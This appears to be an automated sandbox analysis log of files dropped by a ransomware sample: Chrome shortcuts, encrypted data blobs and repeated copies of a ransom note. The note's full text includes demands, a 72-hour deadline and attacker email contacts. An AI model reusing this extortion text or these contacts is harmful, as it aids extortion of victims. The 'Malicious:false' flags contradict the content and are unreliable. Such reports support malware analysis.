                                                                                                                                        SHA1:8FE8C300CF83C54A588BCC90B5EC30CFBB42AC1B
                                                                                                                                        SHA-256:857DC0655311E809B433056F36DF9D8F6B6DADA5297AE1284E938FA3069A59A6
                                                                                                                                        SHA-512:667DD85873BA410F99E7235E8CAB7D0AFE08C049F24CBD928A4893FA7E83F34D528F8B262D121C4F8810B3766AB9E69DDE14AEB24BFEBB7375FCADDCE89CFB60
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:L..................F.@.. ...$+.,.......(N......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Yqg....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yqg....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Yqg....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Yqg..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Ysg............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............L......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                                                                                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 14 11:59:37 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):2679
                                                                                                                                        Entropy (8bit):3.979334664364876
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:841dMTUxZguHRidAKZdA17ehBiZUk1W1qehCy+C:84kIgD9iy
                                                                                                                                        MD5:ED4739B23C40E82E05786F3DEED7DB98
                                                                                                                                        SHA1:437832DE296312EF2BB7CAA14C38155E6DA4CE9D
                                                                                                                                        SHA-256:F354B0E1B27625EDFFE63AD63AB971CC25927F9E5617686585C11C88A0830033
                                                                                                                                        SHA-512:781DA136D307CCC5D89DC127A02D4F33D00E02D5AFFB2FA15A86669CAA49BB16169F80760FA9A217F741AA72130060BC3C30FD9DA8BD184B1BFD1281279ACBEF
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:L..................F.@.. ...$+.,........(N......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Yqg....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yqg....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Yqg....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Yqg..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Ysg............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............L......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                                                                                                                                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 14 11:59:36 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):2681
                                                                                                                                        Entropy (8bit):3.9867717751656535
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:8H51dMTUxZguHRidAKZdA1duTiehOuTbbiZUk5OjqehOuTb0y+yT+:8H5kIgpTLTbxWOvTb0y7T
                                                                                                                                        MD5:243024432C6E43B802B23FD3A116A404
                                                                                                                                        SHA1:5B72D1D1241C52C88C5A3F2BF63C1EDEF00D1C6F
                                                                                                                                        SHA-256:9331756BF6CEC7AF06C4C6F85F996F6BEF0EED568978583A5DE78BAB0AF0DF64
                                                                                                                                        SHA-512:F304F590010F67558E78476F0F7F477DF331E423D52EC70065F721475D77460B0B4984B1D1C3EBBE45842AA5D6F2C128E6A55B3BADD7FB70DAE9B588593EB651
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:L..................F.@.. ...$+.,......(N......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Yqg....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yqg....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Yqg....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Yqg..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Ysg............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............L......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):436
                                                                                                                                        Entropy (8bit):7.4683583882254485
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:f9hHsQmJWPNVPxfZxXGUp3zcvra555rOCPfJIW9C1WWvHn:f9RGAbIUp3om5xI6CUE
                                                                                                                                        MD5:B921F9F53672224EFC8C9CE846A7EC6A
                                                                                                                                        SHA1:9C28ADB15066BCFAEE64F4AF4DC08814850209C2
                                                                                                                                        SHA-256:EEC51F66E1D03E370F0B8E80A476B7212AD85D9EC6BB68DDA5B4EEE523469DDA
                                                                                                                                        SHA-512:E72F1DFB0E587F02747B43CA48BFCE575C8B10ED20920DB681CCAE6FA969AC8A9555F0B1D4C0983F56F09B8F97681EAEDF9DAB6991C01821C448FC7B8FF1D68B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..Q.URq.g)..5...iP#..Q.c|..L.V..k...;.&.t..F....T......tLv.%.t.9..@..J..<=..."Ibw.......z]..t1l\..C...;F.6......*......O.H.nO.*.j....hc.N.%>.LiS..*..E^..8.1.1.....6.z...O.^1.p4.._.........}.M....;L.N.Q..T..vv....w*8.3..pM......".4..bP...w>...Cx....'.8s*....f;i..&.VZ.. 3.9.b.Tu.E....a.A...W1(`.U..=&....biE.9`...?U.4.R.8....!.3..I...oV..oMj....(.)..e.+.T.w.47/,S...E.(.n..t.F.6.4.$5.O.4.....)A[...'...&H. ..6./.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):436
                                                                                                                                        Entropy (8bit):7.4683583882254485
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:f9hHsQmJWPNVPxfZxXGUp3zcvra555rOCPfJIW9C1WWvHn:f9RGAbIUp3om5xI6CUE
                                                                                                                                        MD5:B921F9F53672224EFC8C9CE846A7EC6A
                                                                                                                                        SHA1:9C28ADB15066BCFAEE64F4AF4DC08814850209C2
                                                                                                                                        SHA-256:EEC51F66E1D03E370F0B8E80A476B7212AD85D9EC6BB68DDA5B4EEE523469DDA
                                                                                                                                        SHA-512:E72F1DFB0E587F02747B43CA48BFCE575C8B10ED20920DB681CCAE6FA969AC8A9555F0B1D4C0983F56F09B8F97681EAEDF9DAB6991C01821C448FC7B8FF1D68B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..Q.URq.g)..5...iP#..Q.c|..L.V..k...;.&.t..F....T......tLv.%.t.9..@..J..<=..."Ibw.......z]..t1l\..C...;F.6......*......O.H.nO.*.j....hc.N.%>.LiS..*..E^..8.1.1.....6.z...O.^1.p4.._.........}.M....;L.N.Q..T..vv....w*8.3..pM......".4..bP...w>...Cx....'.8s*....f;i..&.VZ.. 3.9.b.Tu.E....a.A...W1(`.U..=&....biE.9`...?U.4.R.8....!.3..I...oV..oMj....(.)..e.+.T.w.47/,S...E.(.n..t.F.6.4.$5.O.4.....)A[...'...&H. ..6./.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1200
                                                                                                                                        Entropy (8bit):7.845197770826609
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:YJH26A3W6hOW7k5ApN8ZXp+f5qoGJ/eOXIahaux6V8B3cR+iK0Es:q2K62ypur+f0oGteiZaD8Boxj
                                                                                                                                        MD5:DFD15F87353B28C2688FCC32B41B6FF3
                                                                                                                                        SHA1:24014CACB69CC55E83CA6B4445896E4E5313C9C3
                                                                                                                                        SHA-256:1DB5686712C7765212600C156FD12A501A8CF829F43F476A9F62245D069F0B2A
                                                                                                                                        SHA-512:4E19E39CB657096ADD19D93CBDF93EBED89151FF398D1C62E453EE0EEBC7AEB846C2D03A33C7FE117D446BDAE05ACBB3434127F937EEAD6E5730DA80975199CD
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:|.."..9(........-C......l..h...e(.RU*6..@.4....kr.wC~..............V.O...R...<t./.....O..a..=A?..0.y.l.......<:X;7*..).........-j..='..........i.?5y*.....2....2......n*..-...w..L..!K.J.8....o8...?<Q.kCH9..\n....}.JXvM#z.z..h:WW....H...VR[..[...#*.8wh..."...hV...G.....O.QV...^.e.........._>..V....N...f..H.V.n...r..!A..2.Wc..=.......o..#.L..qO.UwH.?.N..#/f..~.ae..CK"..q...G..`..O..V...$Q.R...e:...Z..^>e...M.Fo.Y....A.z..h....'jV.....~|,..=C.d|r]E.u..3T.`.,gNb......k.N...... [%..q..W.9......".I..Uw.@.Xs.=].Y....SE,.f...^...n./IT.BRl..k...`....M..&...c...l....VW.......F.g.icrX>..U. ga`mw.Vf.@.U.P..:E..Y}p.1.8.*.`.Hn.S.&$.6(.ic....2...+.q@a!O\.6..-prGY5{./...bY~.Y:.|I.P@7.w..#qq'.'e.5..z'..gI....r...4......Vr.........U..j....-9f0..+..'..e.?.y30.y..$Gn..@.....N%.....-o..~.?jL$e<olf}..C.u..mm....!....5pZ.\.J... . R..l.">SVO.>M.......j../wtLg(..t.h......p.!...Yi...oW.pk..~8...O-2.......~..UMQ!..X.....9OP.T.=9..08W..:~:j.(sl.\.u.3#..]9g...k3..d..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1200
                                                                                                                                        Entropy (8bit):7.845197770826609
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:YJH26A3W6hOW7k5ApN8ZXp+f5qoGJ/eOXIahaux6V8B3cR+iK0Es:q2K62ypur+f0oGteiZaD8Boxj
                                                                                                                                        MD5:DFD15F87353B28C2688FCC32B41B6FF3
                                                                                                                                        SHA1:24014CACB69CC55E83CA6B4445896E4E5313C9C3
                                                                                                                                        SHA-256:1DB5686712C7765212600C156FD12A501A8CF829F43F476A9F62245D069F0B2A
                                                                                                                                        SHA-512:4E19E39CB657096ADD19D93CBDF93EBED89151FF398D1C62E453EE0EEBC7AEB846C2D03A33C7FE117D446BDAE05ACBB3434127F937EEAD6E5730DA80975199CD
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:|.."..9(........-C......l..h...e(.RU*6..@.4....kr.wC~..............V.O...R...<t./.....O..a..=A?..0.y.l.......<:X;7*..).........-j..='..........i.?5y*.....2....2......n*..-...w..L..!K.J.8....o8...?<Q.kCH9..\n....}.JXvM#z.z..h:WW....H...VR[..[...#*.8wh..."...hV...G.....O.QV...^.e.........._>..V....N...f..H.V.n...r..!A..2.Wc..=.......o..#.L..qO.UwH.?.N..#/f..~.ae..CK"..q...G..`..O..V...$Q.R...e:...Z..^>e...M.Fo.Y....A.z..h....'jV.....~|,..=C.d|r]E.u..3T.`.,gNb......k.N...... [%..q..W.9......".I..Uw.@.Xs.=].Y....SE,.f...^...n./IT.BRl..k...`....M..&...c...l....VW.......F.g.icrX>..U. ga`mw.Vf.@.U.P..:E..Y}p.1.8.*.`.Hn.S.&$.6(.ic....2...+.q@a!O\.6..-prGY5{./...bY~.Y:.|I.P@7.w..#qq'.'e.5..z'..gI....r...4......Vr.........U..j....-9f0..+..'..e.?.y30.y..$Gn..@.....N%.....-o..~.?jL$e<olf}..C.u..mm....!....5pZ.\.J... . R..l.">SVO.>M.......j../wtLg(..t.h......p.!...Yi...oW.pk..~8...O-2.......~..UMQ!..X.....9OP.T.=9..08W..:~:j.(sl.\.u.3#..]9g...k3..d..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):67975
                                                                                                                                        Entropy (8bit):7.8526777959883685
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:1536:8TPij+AmtfZjBTCpAh5uNt5ySxSVila/VSKUyX:uS+AKjhCpA760kla9SKUyX
                                                                                                                                        MD5:3D722A09A7468530DDFD10ADEAEC15B7
                                                                                                                                        SHA1:1E51CB0ECB7CE191CCEDD05084EB29670D29BC16
                                                                                                                                        SHA-256:8CE2691B1BC47A85F2B3B5AB0E25EEC31834D8E30F32F9FFD19E6458970EBAC7
                                                                                                                                        SHA-512:BCC000C36D127057220869738AAC57152F4EF8650CCBA535334D9A242988F91E0FD1A1E80FC9AE4C36EA0E250A169654D756002C390B4C48CC195E65E3B0D089
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.}$...Q>...].V....Q3.n0LR#3<;7H.....Q.k.T8.....v...e..~l.8..+d{x...FtJ*..%?. .U...+.m.x...8{E.......q..i.<...`mh9rlcj...y\.........\...~.<.E;,@.T...!.jbx....4i.....t.B..".`.%....*..16....;....6 I..i.}..U..(..J....#p...2...`....#.GCO.H..`*.f..k.>mKtd0l.Bl.(@..6B...5....N....*;.d..co.&..x..T....U2....VY0...._...#E........x.{:jN...s. .SS..!.:.f8...6..~)...J|3...D..ppZ.....N.5x..Fn.._..}.^..JT.S&..$...M'@/u../..{r...Y..|U&I42...X.2......\...>......w.T...q.r...#.Df.Y......._y..........'.._..3V2......IY.....4W........=.!.p.l..J.W........&87..o..\..!.ke'9.~....bcl...."t.!..5..C..M,.....n.c...PV..\B.s.....I...aJ._.....#..!.4..f.9..A.0*v.m..QC...KH`ge..........0..O..;%..OYr|z:.~.'Gw......R..&7}....6.S..k.x.......~em.C^..ff<H,.s.2. ...o..Mc..I4.]{...w...c.....<...v./..)B.q-...&.XS......t}..W..y..R(.....IOm.~O..'.......m...s.vM.GE.g..=.....i.>......N.ko.9v.5...+.M..B.0b[i.o.]yTn...v..j.o...BLz..)Yv. k..%R..q.to.2IP.!..Y..T.......&.~.CBBG<..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):67975
                                                                                                                                        Entropy (8bit):7.8526777959883685
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:1536:8TPij+AmtfZjBTCpAh5uNt5ySxSVila/VSKUyX:uS+AKjhCpA760kla9SKUyX
                                                                                                                                        MD5:3D722A09A7468530DDFD10ADEAEC15B7
                                                                                                                                        SHA1:1E51CB0ECB7CE191CCEDD05084EB29670D29BC16
                                                                                                                                        SHA-256:8CE2691B1BC47A85F2B3B5AB0E25EEC31834D8E30F32F9FFD19E6458970EBAC7
                                                                                                                                        SHA-512:BCC000C36D127057220869738AAC57152F4EF8650CCBA535334D9A242988F91E0FD1A1E80FC9AE4C36EA0E250A169654D756002C390B4C48CC195E65E3B0D089
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.}$...Q>...].V....Q3.n0LR#3<;7H.....Q.k.T8.....v...e..~l.8..+d{x...FtJ*..%?. .U...+.m.x...8{E.......q..i.<...`mh9rlcj...y\.........\...~.<.E;,@.T...!.jbx....4i.....t.B..".`.%....*..16....;....6 I..i.}..U..(..J....#p...2...`....#.GCO.H..`*.f..k.>mKtd0l.Bl.(@..6B...5....N....*;.d..co.&..x..T....U2....VY0...._...#E........x.{:jN...s. .SS..!.:.f8...6..~)...J|3...D..ppZ.....N.5x..Fn.._..}.^..JT.S&..$...M'@/u../..{r...Y..|U&I42...X.2......\...>......w.T...q.r...#.Df.Y......._y..........'.._..3V2......IY.....4W........=.!.p.l..J.W........&87..o..\..!.ke'9.~....bcl...."t.!..5..C..M,.....n.c...PV..\B.s.....I...aJ._.....#..!.4..f.9..A.0*v.m..QC...KH`ge..........0..O..;%..OYr|z:.~.'Gw......R..&7}....6.S..k.x.......~em.C^..ff<H,.s.2. ...o..Mc..I4.]{...w...c.....<...v./..)B.q-...&.XS......t}..W..y..R(.....IOm.~O..'.......m...s.vM.GE.g..=.....i.>......N.ko.9v.5...+.M..B.0b[i.o.]yTn...v..j.o...BLz..)Yv. k..%R..q.to.2IP.!..Y..T.......&.~.CBBG<..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):67975
                                                                                                                                        Entropy (8bit):7.8526777959883685
                                                                                                                                        Encrypted:false
